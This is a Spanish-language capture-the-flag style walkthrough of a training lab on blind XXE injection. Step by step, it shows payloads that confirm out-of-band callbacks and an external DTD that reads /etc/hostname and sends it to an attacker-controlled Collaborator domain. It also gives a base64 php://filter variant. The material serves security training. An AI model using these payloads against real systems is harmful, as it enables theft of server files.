Entrada

XXE Injection Lab 5

XXE Injection Lab 5

Skills

  • Exploiting blind XXE to exfiltrate data using a malicious external DTD

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función de Check stock que analiza entradas XML, pero no muestra el resultado. Para resolver el laboratorio, hay que extraer el contenido del archivo /etc/hostname


Resolución

Al acceder a la web nos sale esto

Si pulsamos en View details veremos la descripción del artículo

Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML

Enviamos una petición con un DTD (Document Type Definition) y a comprobar si es vulnerable a XXE pero no vemos nada interesante en la respuesta

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Nos vamos a Burpsuite Collaborator y pulsamos en Copy to clipboard, este dominio obtenido lo vamos a usar para construir este payload, el % sirve para llamar a la entidad desde el DTD creado

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com"> %xxe; ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Nos vamos a Burpsuite Collaborator y observamos que hemos obtenido respuesta, lo cual quiere decir que ya tenemos un XXE out-of-band interaction

Lo que podemos hacer ahora que hemos confirmado que podemos cargar un recurso del servidor externo es pulsar en Go to exploit server, introducir este payload en la parte de Body y pulsar sobre Store para almacenarlo. Esto &#x25 es % pero en hexadecimal, se debe poner así y no en el formato normal para que funcione correctamente

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com?content=%file;'>">
%eval;
%exfil;

En este laboratorio no funciona, pero podríamos usar este wrapper de php para encodear el output del comando en base64 si es más de una línea

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com?content=%file;'>">
%eval;
%exfil;

Lo siguiente que debemos hacer es irnos a donde pone Craft response, copiar la url https://exploit-0aa200cb045beea1d8e97fad01f20055.exploit-server.net/exploit y enviar la petición

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0aa200cb045beea1d8e97fad01f20055.exploit-server.net/exploit"> %xxe; ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Ahora nos vamos a Burpsuite Collaborator, pulsamos en Resquest to Collaborator y vemos el /etc/hostname

Submiteamos la solución y completamos el laboratorio

Esta entrada está licenciada bajo CC BY 4.0 por el autor.